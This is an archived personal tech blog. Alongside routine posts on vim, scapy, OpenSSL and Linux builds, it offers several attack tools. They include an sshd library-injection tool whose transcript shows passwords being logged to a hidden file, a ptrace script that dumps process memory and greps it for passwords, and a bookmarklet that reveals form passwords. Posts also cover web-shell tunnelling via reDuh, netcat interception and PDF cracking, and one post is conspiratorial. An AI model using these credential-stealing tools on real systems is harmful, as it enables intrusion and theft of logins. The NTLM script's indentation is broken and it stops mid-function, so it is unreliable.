Missing Link

Easing vim use

2012-01-24T01:13:00.000-08:00

The following is a vim script that makes it easier to use vim for those who are familiar with graphical editors:

:map  :q!
:map <C-c> :w !xclip
:map <C-v> :r!xclip -o
:map <C-w> :wq!
:map <C-z> :u

To use the above, just save the above contents to a file (say, easyedit.vim, in the home directory ~/easyedit.vim) and include the following into the ~/.vimrc file as follows:

so ~/easyedit.vim

Then start up vim, and you can see that you can use ctrl-c, ctrl-v, ctrl-z, ctrl-w and esc buttons and see behavior as expected in a graphical editor

Making the blog better

2012-01-23T22:21:00.000-08:00

After 1000s of accesses, I have got many inputs to improve this blog. One of them being that I must first make it good to read. I will start working on this from today onwards. Article by article, I will make them readable. I kind of like the hackish way of doing things and ended up writing comprehensive and concise information in my blog. My efforts will be more towards better readability from now onwards :)

BTW all of those who take time to visit my blog, a big thank you for visiting my blog. I hope I get more audience once I make improvements :)

DHCP discovery using scapy

2012-01-19T23:31:00.001-08:00

Taken from here

Putting it plain and simple:

The following script sends a network packet containing the following layers:

a. DHCP: Application layer packet, message-type=discover
b. BOOTP: chaddr is used both as a hardware address for transmission of BOOTP reply messages and as a client identifier == MAC address of the nic
c. UDP: destination port is 67
d. IP: destination IP is broadcast IP address 255.255.255.255
e. ETHERNET: destination MAC is broadcast MAC ff:ff:ff:ff:ff:ff

from scapy.all import *
import sys

conf.checkIPaddr = False

#
# Get the hardware address of nic card
#
fam,hw = get_if_raw_hwaddr(conf.iface)

def dhcp_discover(resp):
    print "Source: " +resp[Ether].src
    print "Dest: " +resp[Ether].dst

#
# What if there is no DHCP component 
# in the incoming packet (so try and except)
#
    try: 
        for opt in resp[DHCP].options:
            if opt == 'end':
                break
            elif opt == 'pad':
                break
            print "Response:" + opt
    except:
        return 0
#
# send the raw packet to network
#
    sendp(Ether(dst="ff:ff:ff:ff:ff:ff") \
    /IP(src="0.0.0.0",dst="255.255.255.255") \
    /UDP(sport=68,dport=67)/BOOTP(chaddr=hw) \
    /DHCP(options=[("message-type","discover")]),count=3)

#
# sniff on udp port 67 and 68 
# and run the function dhcp_discover on all packets sniffed
# 
sniff(filter="udp and (port 67 or 68)", \
        prn=dhcp_discover, store=1)

The following is the response from DHCP server
, when the above script is executed

# python dhcp,py
Source: 00:1c:f9:93:04:00
Dest: 00:50:56:7c:c3:4f
('message-type', 5)
('server_id', '10.112.11.12')
('lease_time', 1800)
('subnet_mask', '255.255.252.0')
('router', '10.112.75.253')
('domain', 'dhcpserver.com')
('name_server', '10.112.11.12')

PPPoE using scapy

2012-01-19T23:14:00.000-08:00

Article taken from here (directly reproduced below):

Publication date : February 1999
RFC Author(s) : R.Wheeler, D.Simone, D. Carrel, J. Evarts, K. Lidl, L. Mamakos
Category : informational

The Point-to-point Protocol (PPP) provides a standard method for transporting multi-protocol datagrams over point-to-point links.

PPPoE has two differents stages, first one is PPP Discovery stage that contains four steps when a host discovers the MAC address of peer (Concentrator) and the PPPoE session ID.
In the fact, the Mac address and PPPoE_SESSION_ID uniquely define a ession.
The relationship between the peers is a simple client/server when a client asks server(Concentrator) for informations to establish
the session.

The Frame sent is a simple Ethernet frame where the ETHER_TYPE is set to either 0×8863 (Discovery Stage) or 0×8864 (PPP Session Stage).

Here is the Ethernet Payload for PPPoE:
[ VER:4 | TYPE:4 | CODE:8 | SESSION_ID:16 | LENGTH:16 | PAYLOAD:16 ]

Discovery Stage : Ethernet Frame have the ETHER_TYPE field set to 0×8863

1. Client to server: Initiation (PPPoE Active Discovery Initiation)
PADI:
* Host send a broadcast packet, with the code field set to 0×09
* The session id set to 0×0000

2. Server to client: Offer (PPPoE Active Disocvery Offer)
PADO:
* Access Concentrator reply to an unicast address, with code set to 0×07
* The session id set to 0×0000
* PADO packet contains AC-Name TAG, Service-Name TAG

3. Client to server: Request (PPPoE Active Discovery Request)
PADR:
* Host receive one or more PADO packet and has to choice one
* Choice is based on AC-Name or Services offred
* Host send one PADR packet to Concentrator
* Destination is the unicat Ethernet address of Cencentrator
* code field is set to 0×19 and session id is set to 0×0000

4. Server to client: Session-confirmation (PPPoE Active Discovery Session-confirmation)
PADS:
* When Access receive PADR it prepare to begin PPP session
* generate a unique session id
* reply with an unicat Ethernet address
* code field is set to 0×65
* contains exactly one TAG of TAG_TYPE Service-Name

5. Either end to other end: Termination (PADT)
* packet sent bu host or Access Concentrator
* session is established
* Destination address is unicast
* session is the SESSION_ID generated
* code field is set to 0xa7

Examples Using scapy:
1. PADI:
sendp(Ether(type=0×8863,src=”00:60:4c:72:e7:69″,dst=”ff:ff:ff:ff:ff:ff”)/PPPoED(code=0×09,sessionid=0×0000),iface=”nas0″)

PADO:
2. sendp(Ether(type=0×8863,src=”00:bf:12:fa:90:fd”, dst=”00:60:4c:72:e7:69″)/PPPoED(code=0×07,sessionid=0×0000),iface=”nas0″)

SOPA and PIPA

2012-01-17T23:24:00.000-08:00

All that had to be known about the conspiratorial nature of the events happening nowadays should have been known by almost all people by now. Except for remotely existing communities of people or tribes (who live without the support of the global conspirators, and don't really care about them), all others in civilised societies should have known enough through internet by now. For all those in those societies, that still need to be educated, it will require something more than just internet to do educate them. So suppressing internet freedom, though a really bad step, doesn't really create much of a problem.

For all the honest efforts put by enlightened people around the world to explain the nature of what is happening around us, A BIG THANK YOU

For all those who have been sitting at the top, making such legislation, a sincere advice: Have some common sense and don't suppress internet freedom; Remember, today you are powerful people and nothing is permanent except GOD

Just wrote my name in BF programming language

2012-01-17T22:57:00.001-08:00

BrainFuck programming language engages your mind when you are dull, makes you think for a while and makes you think of computer history (or rather history of programming). In case your brain is already f****ed, you would possibly write a lot of applications in brainfuck programming language :)

There are guys who have already f****ed their brain and there are guys who are recursively f****ing their brains

Here is the world's smallest brainfuck compiler written in C:

/* The world's smallest Brainfuck interpreter in C, by Kang Seonghoon
* http://j.mearie.org/post/1181041789/brainfuck-interpreter-in-2-lines-of-c */
s[99],*r=s,*d,c;main(a,b){char*v=1[d=b];for(;c=*v++%93;)for(b=c&2,b=c%7?a&&(c&17
?c&1?(*r+=b-1):(r+=b-1):syscall(4-!b,b,r,1),0):v;b&&c|a**r;v=d)main(!c,&a);d=v;}

With this much understanding of brainfuck, I started writing a small program using brainfuck to print my name in the most childish way, and here is the result:

++++++++++[>++++++++>+++++++++++>+++++++++>++++++++++>++++++++++>+++++++++++>++++++++++>+++++++++++>+++++++++>+++>++++++>++++++++++>+++++++++>+++++++++++>++++++++++>+++++++++++>+++++++++>++++++++++>+++++++++>+++++++++++<<<<<<<<<<<<<<<<<<<<-]>+++.>+++++++.>+++++++++.>++++.>+++++.>.>.>++++.>+++++++.>++.>+++++++.>++++.>+++++++.>.>.>++++.>+++++++.>++++.>+++++++.>+++++.>+++++++.>.>.>++++.>+++++++.>+++++++.>++++.>+++++++.

SSH F***er (can't do anything, this is the name given by author)

2012-01-13T23:41:00.000-08:00

Here is a utility to decrypt ssh passwords at runtime:

Here is the gz

And below is an example:

root@:/tmp> tar zxvf sshf.tgz
sshf/
sshf/sshf.c
sshf/evilsshd.c
sshf/Makefile.in
sshf/config.h.in
sshf/configure
root@:/tmp> cd sshf
root@:/tmp/sshf> ./configure ; make
checking for gcc... gcc
checking for C compiler default output... a.out
checking whether the C compiler works... yes
checking whether we are cross compiling... no
checking for executable suffix...
checking for object suffix... o
checking whether we are using the GNU C compiler... yes
checking whether gcc accepts -g... yes
checking for pam_start in -lpam... yes
checking for MD5_Update in -lcrypto... yes
configure: creating ./config.status
config.status: creating Makefile
config.status: creating config.h
gcc -w -fPIC -shared -o evilsshd.so evilsshd.c -lcrypt -lcrypto -lpam  
-DHAVE_CONFIG_H
gcc -w -o sshf sshf.c
root@:/tmp/sshf> ps auwx | grep sshd
root      9597  0.0  0.3  2840 1312 ?        S    03:04   0:00 sshd
root@:/tmp/sshf>
root@:/tmp/sshf> ./sshf 9597 /tmp/sshf/evilsshd.so
attached to pid 9597
_dl_open at 0x4023014c
stopped 9597 at 0x402017ee
jam! if it jams here, try to telnet into sshd port or smthing
lib injection done!
org crypt() at 0x804b860, evil crypt at 0x40265d60
org getspnam at 0x804afa0, evil getspnam at 0x40265e0c
org strncmp() at 0x804b8f0, evil strncmp() at 0x40265a84
org MD5_Update() at 0x804bdf0, evil MD5Update at 0x40265aec
all done, now quiting...
root@:/tmp/sshf>
root@:/tmp/sshf> ssh -l luser 127.0.0.1
luser@127.0.0.1's password:
[luser@localhost:~>ls -al /tmp/.sshd_passwordz
-rw-r--r--    1 root     root          104 Jul 14 03:27 
/tmp/.sshd_passwordz
[luser@localhost:~>exit

Cracking passwords of PDFs

2012-01-13T23:32:00.000-08:00

A great bruteforce utility which cracks passwords for PDFs

Here is dummy output:

# pdfcrack /tmp/file.pdf -n 6 -s
PDF version 1.4
Security Handler: Standard
V: 2
R: 3
P: -1836
Length: 128
Encrypted Metadata: True
FileID: ad03b78cebfff9aea1caf3b0beef3fe3
U: 234asdaaffsfasdfar234rdasfdfafdfaasdfafsdf23423423423f
O: 234asdaaffsfasdfar234rdasfdfafdfaasdfafsdf23423423423f
Average Speed: 38801.4 w/s. Current Word: 'woscaa'
Average Speed: 38861.5 w/s. Current Word: 'GQKeaa'
Average Speed: 38544.9 w/s. Current Word: 'Z81gaa'
...
found user-password: dummypassword

Reading memory from processes in linux using python

2012-01-13T23:16:00.000-08:00

Found an article here

Reproducing the script below:

#! /usr/bin/env python
import ctypes, re, sys

## Partial interface to ptrace(2), only for PTRACE_ATTACH and PTRACE_DETACH.

c_ptrace = ctypes.CDLL("libc.so.6").ptrace

# Defining type c_pid_t as c_int32

c_pid_t = ctypes.c_int32 

# Defining argument types for ptrace

c_ptrace.argtypes = [ctypes.c_int, c_pid_t, ctypes.c_void_p, ctypes.c_void_p]

def ptrace(attach, pid):

    # operand is 16 for ptrace_attach, and 17 for ptrace_detach

    op = ctypes.c_int(16 if attach else 17) #PTRACE_ATTACH or PTRACE_DETACH

    # Defining variable c_pid as type c_pid_t(pid)

    c_pid = c_pid_t(pid)

    # Defining variable null of type ctypes_c_void_p()

    null = ctypes.c_void_p()

    # Call the function finally

    err = c_ptrace(op, c_pid, null, null)
    if err != 0: raise SysError, 'ptrace', err

## Parse a line in /proc/$pid/maps. Return the boundaries of the chunk
## the read permission character.
def maps_line_range(line):

    # Does it contain something like ffeb099a-fbesgffd as below (snip of /proc/some ID/maps
    #
    # 00bfd000-00c63000 r-xp 00000000 08:01 14949996   /usr/lib/sane/libsane-hp3900.so.1.0.22
    # 00c63000-00c64000 r--p 00065000 08:01 14949996   /usr/lib/sane/libsane-hp3900.so.1.0.22
    # 00c64000-00c65000 rw-p 00066000 08:01 14949996   /usr/lib/sane/libsane-hp3900.so.1.0.22
    # 00c65000-00c67000 rw-p 00000000 00:00 0 
    # 00c67000-00c7e000 r-xp 00000000 08:01 14949951   /usr/lib/sane/libsane-coolscan3.so.1.0.22
    # 00c7e000-00c7f000 r--p 00016000 08:01 14949951   /usr/lib/sane/libsane-coolscan3.so.1.0.22
    # 00c7f000-00c80000 rw-p 00017000 08:01 14949951   /usr/lib/sane/libsane-coolscan3.so.1.0.22

    m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)
    return [int(m.group(1), 16), int(m.group(2), 16), m.group(3)]

## Dump the readable chunks of memory mapped by a process
def cat_proc_mem(pid):

    ## Apparently we need to ptrace(PTRACE_ATTACH, $pid) to read /proc/$pid/mem
    ptrace(True, int(pid))
    ## Read the memory maps to see what address ranges are readable
    maps_file = open("/proc/" + pid + "/maps", 'r')
    ranges = map(maps_line_range, maps_file.readlines())
    maps_file.close()
    ## Read the readable mapped ranges
    mem_file = open("/proc/" + pid + "/mem", 'r', 0)
    for r in ranges:
        if r[2] == 'r':
            mem_file.seek(r[0])
            chunk = mem_file.read(r[1] - r[0])
            print chunk,
    mem_file.close()
    ## Cleanup
    ptrace(False, int(pid))

if __name__ == "__main__":

    # Get the PIDs of the process as sys.argv[1]

    for pid in sys.argv[1:]:
        cat_proc_mem(pid)

An example is below:

root@family-desktop:/home/family# python py-ptrace.py 4808 > mem.bin
root@family-desktop:/home/family# cat mem.bin | strings | grep -i pass
ftp_proxy_password
PASS %s
PASS anonymous@
Passthrough
password text
ATK_ROLE_PASSWORD_TEXT
password-text

Ah long time no blogging

2012-01-13T04:43:00.001-08:00

New changes in my life by God's grace

Use authbind to open sockets below port 1024 as non-root user in linux

2011-11-23T05:17:00.000-08:00

Authbind tutorial is part of this article here

Authbind is here

Built linux from scratch

2011-11-15T07:17:00.000-08:00

Common mistakes:

1. Build bash with bison and not with yacc to remove the inability to recognize $() issue

2. To make sure that spawn ls works fine, in 6.13, execute the mount commands again (in case you have forgotten)

3. MPFR final run (include --gmp-dir=/usr)

4. In case you are on an old kernel, remove --enable-kernel= from the configure script in some places wherever it says "kernel too old" in config.log

SSH without interactive password

2011-11-04T02:46:00.000-07:00

Want to do ssh without interactive password but not using public key authentication?

Here it is

Using curl to communicate with webdav server

2011-10-18T04:54:00.001-07:00

export USERPASS="yourUserName:yourPassword"
curl --user $USERPASS -T propfind_xml http://yourWebSite.com:yourPort/

OpenSSL certificate formats cheet sheet

2011-09-30T04:54:00.000-07:00

Original article here

Reproduced below:

PEM Format

The PEM format is the most common format that Certificate Authorities issue certificates in. PEM certificates usually have extentions such as .pem, .crt, .cer, and .key. They are Base64 encoded ASCII files and contain "-----BEGIN CERTIFICATE-----" and "-----END CERTIFICATE-----" statements. Server certificates, intermediate certificates, and private keys can all be put into the PEM format.

Apache and other similar servers use PEM format certificates. Several PEM certificates, and even the private key, can be included in one file, one below the other, but most platforms, such as Apache, expect the certificates and private key to be in separate files.
DER Format

The DER format is simply a binary form of a certificate instead of the ASCII PEM format. It sometimes has a file extension of .der but it often has a file extension of .cer so the only way to tell the difference between a DER .cer file and a PEM .cer file is to open it in a text editor and look for the BEGIN/END statements. All types of certificates and private keys can be encoded in DER format. DER is typically used with Java platforms. The SSL Converter can only convert certificates to DER format. If you need to convert a private key to DER, please use the OpenSSL commands on this page.
PKCS#7/P7B Format

The PKCS#7 or P7B format is usually stored in Base64 ASCII format and has a file extention of .p7b or .p7c. P7B certificates contain "-----BEGIN PKCS7-----" and "-----END PKCS7-----" statements. A P7B file only contains certificates and chain certificates, not the private key. Several platforms support P7B files including Microsoft Windows and Java Tomcat.
PKCS#12/PFX Format

The PKCS#12 or PFX format is a binary format for storing the server certificate, any intermediate certificates, and the private key in one encryptable file. PFX files usually have extensions such as .pfx and .p12. PFX files are typically used on Windows machines to import and export certificates and private keys.

When converting a PFX file to PEM format, OpenSSL will put all the certificates and the private key into a single file. You will need to open the file in a text editor and copy each certificate and private key (including the BEGIN/END statments) to its own individual text file and save them as certificate.cer, CACert.cer, and privateKey.key respectively.
OpenSSL Commands to Convert SSL Certificates on Your Machine

It is highly recommended that you convert to and from .pfx files on your own machine using OpenSSL so you can keep the private key there. Use the following OpenSSL commands to convert
SSL certificate to different formats on your own machine:

OpenSSL Convert PEM

Convert PEM to DER

openssl x509 -outform der -in certificate.pem -out certificate.der

Convert PEM to P7B

openssl crl2pkcs7 -nocrl -certfile certificate.cer -out certificate.p7b -certfile CACert.cer

Convert PEM to PFX

openssl pkcs12 -export -out certificate.pfx -inkey privateKey.key -in certificate.crt -certfile CACert.crt
OpenSSL Convert DER

Convert DER to PEM

openssl x509 -inform der -in certificate.cer -out certificate.pem
OpenSSL Convert P7B

Convert P7B to PEM

openssl pkcs7 -print_certs -in certificate.p7b -out certificate.cer

Convert P7B to PFX

openssl pkcs7 -print_certs -in certificate.p7b -out certificate.cer

openssl pkcs12 -export -in certificate.cer -inkey privateKey.key -out certificate.pfx -certfile CACert.cer
OpenSSL Convert PFX

Convert PFX to PEM

openssl pkcs12 -in certificate.pfx -out certificate.cer -nodes

If you need to convert a Java Keystore file to a different format, it usually easier to create a new private key and certificates but it is possible to convert a Java Keystore to PEM format.

Ext2 filesystem walkthrough

2011-09-29T03:49:00.000-07:00

Here is the ext2 file system walkthrough and here is a tool that you can use to edit disks in hexadecimal form

How to create files with hexadecimal characters as names

2011-09-29T02:46:00.001-07:00

echo -n -e "\xd4\x03\x07\x07\x61\x61\x61\x61\x61\x61\x61" | xargs --null touch

And now it is just 'duh'

2011-09-26T01:26:00.000-07:00

Social media monitored

Reduh

2011-09-20T04:23:00.000-07:00

reDuh is actually a tool that can be used to create a TCP circuit through validly formed HTTP requests.

Essentially this means that if we can upload a JSP/PHP/ASP page on a server, we can connect to hosts behind that server trivially

Here is the tool

Javascript well known tricks

2011-09-16T04:01:00.001-07:00

Go to any web page, clear the address bar, and paste this:

javascript:document.body.contentEditable='true'; document.designMode='on'; void 0

Revealing passwords in forms, on browser:

javascript:(function(){var s,F,j,f,i; s = “”; F = document.forms; for(j=0; j < F.length; ++j) { f = F[j]; for (i=0; i <  f.length; ++i) { if (f[i].type.toLowerCase() == “password”) s += f[i].value + “n”; } } if (s) alert(“Passwords in forms on this page:nn” + s); else alert(“There are no passwords in forms on this page.”);})();

Google Go

2011-09-15T07:03:00.000-07:00

When I saw the following lines, I kind of wondered the concepts in the minds of people who wrote the back-end code for the same:

type Page struct {
 Title string
 Body []byte
}

func (p *Page) save() os.Error {
 filename := p.Title + ".txt"
 return ioutil.WriteFile(filename, p.Body, 0600)
}

...

p1 := &Page{Title: "TestPage", Body: []byte("This is a sample Page.")}
p1.save()

Its worthy language, but not sure about the size of executable code it generates

sssh someone is here

2011-09-12T06:20:00.000-07:00

Tried writing an SSH client using just bash (as much as possible)

Still not succeeding

Here is the code

Here is the openssh debug version

Netcat redirection

2011-08-28T22:38:00.000-07:00

Redirection of traffic using netcat:

killall -9 nc 
mknod proxypipe p
nc -k -l 85 0<proxypipe  | tee -a inflow | nc 10.112.48.140 22 | tee - a outflow 1>proxypipe&

The mirroring character and browser within a browser

2011-08-24T05:43:00.000-07:00

Trick 1:

Just found this article which speaks about something called mirroring character

This is a character which when included in a html document, revereses the words after the character

To test it, create a file called file.html with the following content:

< p> & # 8 2 3 8; suchindrac

NOTE: Remove the spaces in the above string

Open the file in firefox, and notice that the string is reversed

Trick 2:

Just type the following into your URL bar and notice that you open up another browser instance within the browser that you have already opened:

c h r o m e : / / b r o w s e r / c o n t e n t / b r o w s e r . x u l

NOTE: Remove the spaces in the above line

Hacking Democracy

2011-07-30T20:34:00.001-07:00

Document reproduced as-is from here

Elections Video Documentary
HBO's Hacking Democracy

By far the best video exposing major problems with the U.S. elections process is HBO's excellent documentary Hacking Democracy. This fast-moving film shows serious improprieties affecting both political parties in the United States which threaten the very base of our democracy. Though strangely not available for purchase on the HBO website, this engaging, incredibly important video can be viewed free at the link below:

HBO Video Documentary—Hacking Democracy (80 minutes)
http://video.google.com/videoplay?docid=7926958774822130737

If the above link does not work, click here to watch "Hacking Democracy." For the excellent website of Bev Harris, featured in this video, see Black Box Voting at this link.

Note: The below summary of this highly revealing elections documentary is taken from the HBO website at http://www.hbo.com/docs/programs/hackingdemocracy/synopsis.html.

HBO Video Documentary: Hacking Democracy

Electronic voting machines count about 87% of the votes cast in America today. But are they reliable? Are they safe from tampering? From a current congressional hearing to persistent media reports that suggest misuse of data and even outright fraud, concerns over the integrity of electronic voting are growing by the day. And if the voting process is not secure, neither is America's democracy. The timely, cautionary documentary Hacking Democracy exposes gaping holes in the security of America's electronic voting system.

In the 2000 presidential election, an electronic voting machine recorded minus 16,022 votes for Al Gore in Volusia County, Fla. While fraud was never proven, the faulty tally alerted computer scientists, politicians and everyday citizens to the very real possibility of computer hacking during elections.

In 2002, Seattle grandmother and writer Bev Harris asked officials in her county why they had acquired electronic touch screen systems for their elections. Unsatisfied with their explanation, she set out to learn about electronic voting machines on her own. In the course of her research, which unearthed hundreds of reported incidents of mishandled voting information, Harris stumbled across an "online library" of the Diebold Corporation, discovering a treasure trove of information about the inner-workings of the company's voting system.

Harris brought this proprietary "secret" information to computer security expert Dr. Avi Rubin of Johns Hopkins University, who determined that the software lacked the necessary security features to prevent tampering. Her subsequent investigation took her from the trash cans of Texas to the secretary of state of California and finally to Florida, where a "mini-election" to test the vulnerability of the memory cards used in electronic voting produced alarming results.

As the scope of her mission grew, Harris drew on the expertise of other computer science experts, politicians and activists, among them: Andy Stephenson, candidate for secretary of state in Washington state; Susan Bernecker, Republican candidate in New Orleans; Kathleen Wynne, an activist from Cleveland; Dr. Herbert Thompson, chief security strategist, Security Innovation, Inc.; Ion Sancho, supervisor of elections for Leon County, Fla.; and Harri Hursti, a computer-security analyst. Academics, public officials and others seen in interview footage include: Deanie Lowe, supervisor of elections, Volusia County, Fla.; Mark Radke, marketing director of Diebold; David Cobb, presidential candidate, Green Party; and Rep. Stephanie Tubbs-Jones of Ohio.

Diebold software, or other software like it, is installed in thousands of counties across 32 states. David Dill, professor of computer science at Stanford, says the problem is that there are "lots of people involved in writing the software, and lots of people who could have touched the software before it went into that machine. If one of those people put something malicious in the software and it's distributed to all the machines, then that one person could be responsible for changing tens of thousands of votes, maybe even hundreds of thousands, across the country."

In Florida, Leon County supervisor of elections Ion Sancho presided over a trial "mini-election" to see if the vote could be hacked without being detected. Before votes were actually cast, computer analyst Harri Hursti "stuffed the ballot box" by entering votes on the computer's memory card. Then, after votes were cast, the results displayed when the same memory card was entered in the central tabulating program indicated that fraud was indeed possible. In other words, by accessing a memory card before an election, someone could change the results - a claim Diebold had denied was possible.

Ultimately, Bev Harris' research proved that the top-secret computerized systems counting the votes in America's public elections are not only fallible, but also vulnerable to undetectable hacking, from local school board contests to the presidential race. With the electronic voting machines of three companies - Diebold, ES&S and Sequoia - collectively responsible for around 80 percent of America's votes today, the stakes for democracy are high.

You can help to stop these abuses by sharing this information with your friends and colleagues and bringing this crucial information to the attention of the media and our political representatives. By working together, we can and will build a brighter future for ourselves and for future generations

Good tool for Linux Data Recovery

2011-07-29T11:04:00.000-07:00

photorec_static

Simple python script to generate LM Response

2011-07-26T09:28:00.000-07:00

The following is a python code written by me, for the example given at:

http://davenport.sourceforge.net/ntlm.html

import socket, sys, struct
from M2Crypto.EVP import Cipher
import pyDes
from pyDes import *
import md4

DCE_RPC_BIND = "\x0b"
DCE_RPC_FLAGS = "\x03"
DCE_RPC_VER_MAJOR = "\x05"
DCE_RPC_VER_MINOR = "\x00"

DCE_RPC_DATAREP = struct.pack('l', 0x10)
DCE_RPC_FRAG_LEN = struct.pack('h', 0xbf)
DCE_RPC_AUTH_LEN = struct.pack('h', 0x6f)
DCE_RPC_SPNEGO = "\x09"
DCE_RPC_CONNECT = "\x02"

dst_host = sys.argv[1]
dst_port = int(sys.argv[2])

#
# DCE RPC Part
#

dce_rpc_packet = DCE_RPC_VER_MAJOR
dce_rpc_packet = dce_rpc_packet + DCE_RPC_VER_MINOR
dce_rpc_packet = dce_rpc_packet + DCE_RPC_BIND
dce_rpc_packet = dce_rpc_packet + DCE_RPC_FLAGS
dce_rpc_packet = dce_rpc_packet + DCE_RPC_DATAREP
dce_rpc_packet = dce_rpc_packet + DCE_RPC_FRAG_LEN
dce_rpc_packet = dce_rpc_packet + DCE_RPC_AUTH_LEN

#
# Call ID
#
dce_rpc_packet = dce_rpc_packet + struct.pack('l', 0x01)

#
# Max XMIT Frag
#
dce_rpc_packet = dce_rpc_packet + struct.pack('!H', 0xd016)

#
# Max RECV Frag
#
dce_rpc_packet = dce_rpc_packet + struct.pack('!H', 0xd016)

#
# Assoc Group
#
dce_rpc_packet = dce_rpc_packet + struct.pack('l', 0x00)

#
# Number of context items
#
dce_rpc_packet = dce_rpc_packet + "\x01\x00\x00\x00"

#
# Context ID
#

dce_rpc_packet = dce_rpc_packet + struct.pack('H', 0x00)

#
# Number of transfer items
#
dce_rpc_packet = dce_rpc_packet + "\x01\x00"

#
# Abstract syntax and Transfer Syntax
#
dce_rpc_packet = dce_rpc_packet + "\xb8\x4a\x9f\x4d\x1c\x7d\xcf\x11\x86\x1e\x00\x20\xaf\x6e\x7c\x57\x00\x00\x00\x00"
dce_rpc_packet = dce_rpc_packet + "\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00\x2b\x10\x48\x60\x02\x00\x00\x00"

#
# Auth Type
#
dce_rpc_packet = dce_rpc_packet + DCE_RPC_SPNEGO
dce_rpc_packet = dce_rpc_packet + DCE_RPC_CONNECT

#
# Auth Pad Length
#
dce_rpc_packet = dce_rpc_packet + "\x00"

#
# Reserved
#
dce_rpc_packet = dce_rpc_packet + "\x00"

#
# Auth Context ID
#
dce_rpc_packet = dce_rpc_packet + "\x67\x45\x8b\x6b"

#
# GSSAPI Part
#
gssapi_blob = "\x60\x6d\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x63\x30\x61\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x4f\x04\x4d\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x05\x82\x08\x60\x09\x00\x09\x00\x20\x00\x00\x00\x24\x00\x24\x00\x29\x00\x00\x00"

dce_rpc_packet = dce_rpc_packet + gssapi_blob + "WORKGROUP" + "SUCHINDRAC-PRECISION-WORKSTATION-390"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((dst_host, dst_port))
s.send(dce_rpc_packet)
resp = s.recv(10240)
dce_rpc_part = resp[0:68]
gssapi_part = resp[68:139]
gssapi_al_part = resp[167:]

( dce_rpc_version_major, 
 dce_rpc_version_minor, 
 dce_rpc_packet_type, 
 dce_rpc_packet_flags, 
 dce_rpc_datarep, 
 dce_rpc_frag_len, 
 dce_rpc_auth_len, 
 dce_rpc_call_id, 
 dce_rpc_max_xmit, 
 dce_rpc_max_recv, 
 dce_rpc_assoc_group, 
 dce_rpc_scndry_addr_len, 
 dce_rpc_scndry_addr,
 dce_rpc_dummy_1,
 dce_rpc_num_results,
 dce_rpc_dummy_2,
 dce_rpc_ctx_id,
 dce_rpc_auth_type, 
 dce_rpc_auth_level, 
 dce_rpc_auth_pad_len, 
 dce_rpc_auth_reserved, 
 dce_rpc_auth_context_id 
 ) = struct.unpack('BBBB4shhihh4sh4s2sc3s24scccc4s', dce_rpc_part)

( gssapi_simple_pe,
 gssapi_dummy_1,
 gssapi_neg_result,
 gssapi_dummy_2,
 gssapi_supported_mech,
 gssapi_dummy_3,
 gssapi_ntlmssp_identifier,
 gssapi_ntlmssp_msg_type,
 gssapi_len,
 gssapi_max_len,
 gssapi_offset,
 gssapi_flags,
 gssapi_server_challenge,
 gssapi_reserved,
 ) = struct.unpack('3s7sc4s10s6s8s4s2s2s4s4s8s8s', gssapi_part)


def set_odd_parity(bytes):  
 op_bytes = []  
 for iter1 in bytes:  
  binByte = bin(iter1)[2:]  
  if len(binByte) < 8:  
      binByte = "0" * (8 - len(binByte) ) + binByte  
   
   
  num1s = 0  
  for iter2 in binByte:  
   if iter2 == "1":  
        num1s = num1s + 1  
    
    
  lastByteSet = 0  
  if binByte[7] == "1":  
   lastByteSet = 1  
    
  if num1s % 2 == 0:  
   odd1s = 0  
  else:  
   odd1s = 1  
    
  binByte_op = ""  
    
  if (lastByteSet == 1) and (odd1s == 1):  
      binByte_op = binByte  
    
  if (lastByteSet == 0) and (odd1s == 1):  
      binByte_op = binByte  
    
  if (lastByteSet == 1) and (odd1s == 0):  
      binByte_op = binByte[0:7] + '0'  
    
  if (lastByteSet == 0) and (odd1s == 0):  
      binByte_op = binByte[0:7] + '1'  
    

  op_bytes.append(int( binByte_op, 2))  

 return op_bytes   
  

#print struct.unpack('8s', gssapi_server_challenge)
def getKeyFromMaterial(material):  
  key = []  
  for i in range(8): key.append(0)  
  
  key[0] = material[0];  
  key[1] = ((material[0] << 7) & 0xFF) | (material[1] >> 1);  
  key[2] = ((material[1] << 6) & 0xFF) | (material[2] >> 2);  
  key[3] = ((material[2] << 5) & 0xFF) | (material[3] >> 3);  
  key[4] = ((material[3] << 4) & 0xFF) | (material[4] >> 4);  
  key[5] = ((material[4] << 3) & 0xFF) | (material[5] >> 5);  
  key[6] = ((material[5] << 2) & 0xFF) | (material[6] >> 6);  
  key[7] =  (material[6] << 1) & 0xFF;  

 key = set_odd_parity(key)  

  return key  

def printHexList(lst, title):
 print title, ":", lst

def encryptMagic(magic, key):  
  str_key = ""  
  for iter1 in key:  
    str_key = str_key + chr(iter1)  
  
  k = des(str_key, pyDes.ECB, IV=None, pad=PAD_NORMAL, padmode=PAD_NORMAL)  
  d = k.encrypt(magic)  
  
  return d  

  
def i2h(lst):
 lst1 = []
 for iter1 in lst:
  lst1.append(hex(iter1))

 return lst1

def s2h(strng):
 lst1 = []

 for iter1 in strng:
  lst1.append(hex(ord(iter1)))

 return lst1

def encryptChallenge(magic, key):  
  str_key = ""  
  for iter1 in key:  
    str_key = str_key + chr(iter1)  
  
 encrypt = 1
 cipher = Cipher(alg='des_ecb', key=str_key, op=encrypt, iv="\x00"*16)
 ciphertext = cipher.update(magic)
 ciphertext += cipher.final()

 return ciphertext
def HexToByte( hexStr ):
    """
    Convert a string hex byte values into a byte string. The Hex Byte values may
    or may not be space separated.
    """
    # The list comprehension implementation is fractionally slower in this case    
    #
    #    hexStr = ''.join( hexStr.split(" ") )
    #    return ''.join( ["%c" % chr( int ( hexStr[i:i+2],16 ) ) \
    #                                   for i in range(0, len( hexStr ), 2) ] )

    bytes = []

    hexStr = ''.join( hexStr.split(" ") )

    for i in range(0, len(hexStr), 2):
        bytes.append( chr( int (hexStr[i:i+2], 16 ) ) )

    return ''.join( bytes )

def ByteToHex( byteStr ):
    """
    Convert a byte string to it's hex string representation e.g. for output.
    """
    
    # Uses list comprehension which is a fractionally faster implementation than
    # the alternative, more readable, implementation below
    #   
    #    hex = []
    #    for aChar in byteStr:
    #        hex.append( "%02X " % ord( aChar ) )
    #
